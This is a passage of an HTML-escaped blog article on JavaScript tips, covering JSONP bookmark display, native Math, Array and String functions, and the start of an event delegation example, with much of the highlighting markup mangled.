&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;for&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;i=0;i&lt;o.length;i++){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;out += &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;
&lt;li&gt;&lt;a href=&quot;&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;+ o[i].u + &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&quot;&gt;&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;+&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;o[i].d + &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/a&gt;&lt;/li&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;out += &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/ul&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;document.getElementById(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;delicious&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;).innerHTML = out;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;
&lt;/script&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;script src=&quot;%3C/code&quot;&gt;
&lt;code class=&quot;string&quot;&gt;&quot;&lt;a href=&quot;http://feeds.delicious.com/v2/json/codepo8/javascript?count=15&amp;amp;callback=delicious&quot;&gt;http://feeds.delicious.com/v2/json/codepo8/javascript?count=15&amp;amp;callback=delicious&lt;/a&gt;&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&gt;
&lt;/script&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This calls the Delicious Web service to get my latest JavaScript  bookmarks in JSON format and then displays them as an unordered list.&lt;br /&gt;
In essence, JSON is probably the most lightweight way of describing  complex data—and it runs in a browser. You can even use it in PHP using  the &lt;code&gt;json_decode()&lt;/code&gt; function.&lt;br /&gt;
&lt;h3&gt;Native JavaScript Functions (Math, Array And String)&lt;/h3&gt;One thing that amazed me is how much easier my life got once I read  up thoroughly on the math and string functions of JavaScript. You can  use these to avoid a lot of looping and conditions. For example, when I  had the task of finding the largest number in an array of numbers, I  used to write a loop, like so:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_563073&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;numbers = [3,342,23,22,124];&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;max = 0;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;for&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;i=0;i&lt;numbers.length;i++){&lt; code=&quot;&quot;&gt;&lt;/numbers.length;i++){&lt;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(numbers[i] &amp;gt; max){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;max = numbers[i];&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;7&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;8&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;alert(max);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This can be achieved without a loop:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_518916&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;numbers = [3,342,23,22,124];&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;numbers.sort(&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(a,b){&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;return&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;b - a});&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;alert(numbers[0]);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Notice that you cannot use &lt;code&gt;sort()&lt;/code&gt; on a number array because it sorts lexically. There&#39;s a &lt;a href=&quot;http://www.javascriptkit.com/javatutors/arraysort.shtml&quot;&gt;good tutorial on &lt;code&gt;sort()&lt;/code&gt; here&lt;/a&gt; in case you need to know more.&lt;br /&gt;
Another interesting method is &lt;code&gt;Math.max()&lt;/code&gt;. This one returns the largest number from a list of parameters:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_865514&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;Math.max(12,123,3,2,433,4); &lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// returns 433&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Because this tests for numbers and returns the largest one, you can use it to test for browser support of certain properties:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_267044&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;scrollTop= Math.max(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;doc.documentElement.scrollTop,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;doc.body.scrollTop&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This works around an Internet Explorer problem. You can read out the &lt;code&gt;scrollTop&lt;/code&gt; of the current document, but depending on the &lt;code&gt;DOCTYPE&lt;/code&gt; of the document, one or the other property is assigned the value. When you use &lt;code&gt;Math.max()&lt;/code&gt; you get the right number because only one of the properties returns one; the other will be &lt;code&gt;undefined&lt;/code&gt;. You can read more about shortening JavaScript with math functions &lt;a href=&quot;http://www.wait-till-i.com/2007/06/28/shortening-javascripts-with-math/&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
Other very powerful functions to manipulate strings are &lt;code&gt;split()&lt;/code&gt; and &lt;code&gt;join()&lt;/code&gt;. Probably the most powerful example of this is writing a function to attach CSS classes to elements.&lt;br /&gt;
The thing is, when you add a class to a DOM element, you want to add  it either as the first class or to already existing classes with a space  in front of it. When you remove classes, you also need to remove the  spaces (which was much more important in the past when some browsers  failed to apply classes with trailing spaces).&lt;br /&gt;
So, the original function would be something like:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_934517&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;addclass(elm,newclass){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;c = elm.className;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;elm.className = (c === &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;) ? newclass : c+&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39; &#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+newclass;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;You can automate this using the &lt;code&gt;split()&lt;/code&gt; and &lt;code&gt;join()&lt;/code&gt; methods:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_351295&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;addclass(elm,newclass){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;classes = elm.className.split(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39; &#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;classes.push(newclass);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;elm.className = classes.join(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39; &#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This automatically ensures that classes are space-separated and that yours gets tacked on at the end.&lt;br /&gt;
&lt;h3&gt;Event Delegation&lt;/h3&gt;Events make Web apps work. I love events, especially custom events,  which make your products extensible without your needing to touch the  core code. The main problem (and actually one of its strengths) is that  events are removed from the HTML—you apply an event listener to a  certain element and then it becomes active. Nothing in the HTML  indicates that this is the case though. Take this abstraction issue  (which is hard for beginners to wrap their heads around) and the fact  that &quot;browsers&quot; such as IE6 have all kind of memory problems and too  many events applied to them, and you&#39;ll see that not using too many  event handlers in a document is wise.&lt;br /&gt;
This is where &lt;a href=&quot;http://icant.co.uk/sandbox/eventdelegation/&quot;&gt;event delegation&lt;/a&gt;  comes in. When an event happens on a certain element and on all the  elements above it in the DOM hierarchy, you can simplify your event  handling by using a single handler on a parent element, rather than  using a lot of handlers.&lt;br /&gt;
What do I mean by that? Say you want a list of links, and you want to  call a function rather than load the links. The HTML would be:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_625168&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;br /&gt;
&lt;h2&gt;&lt;code class=&quot;plain&quot;&gt;Great Web resources&lt;/code&gt;&lt;/h2&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;br /&gt;
&lt;ul id=&quot;&amp;lt;/code&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;code class=&quot;string&quot;&gt;&quot;resources&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;plain&quot;&gt;&lt;a href=&quot;http://www.blogger.com/%3C/code&quot;&gt;&lt;code class=&quot;string&quot;&gt;&quot;&lt;/code&gt;&lt;/a&gt;&lt;code class=&quot;string&quot;&gt;&lt;a href=&quot;http://opera.com/wsc&quot;&gt;http://opera.com/wsc&lt;/a&gt;&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;Opera Web Standards Curriculum&lt;/code&gt;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;code class=&quot;plain&quot;&gt;&lt;br /&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;plain&quot;&gt;&lt;a href=&quot;http://www.blogger.com/%3C/code&quot;&gt;&lt;code class=&quot;string&quot;&gt;&quot;&lt;/code&gt;&lt;/a&gt;&lt;code class=&quot;string&quot;&gt;&lt;a href=&quot;http://sitepoint.com/&quot;&gt;http://sitepoint.com&lt;/a&gt;&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;Sitepoint&lt;/code&gt;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;code class=&quot;plain&quot;&gt;&lt;br /&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;plain&quot;&gt;&lt;a href=&quot;http://www.blogger.com/%3C/code&quot;&gt;&lt;code class=&quot;string&quot;&gt;&quot;&lt;/code&gt;&lt;/a&gt;&lt;code class=&quot;string&quot;&gt;&lt;a href=&quot;http://alistapart.com/&quot;&gt;http://alistapart.com&lt;/a&gt;&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;A List Apart&lt;/code&gt;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;code class=&quot;plain&quot;&gt;&lt;br /&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;plain&quot;&gt;&lt;a href=&quot;http://www.blogger.com/%3C/code&quot;&gt;&lt;code class=&quot;string&quot;&gt;&quot;&lt;/code&gt;&lt;/a&gt;&lt;code class=&quot;string&quot;&gt;&lt;a href=&quot;http://yuiblog.com/&quot;&gt;http://yuiblog.com&lt;/a&gt;&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;YUI Blog&lt;/code&gt;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;code class=&quot;plain&quot;&gt;&lt;br /&gt;
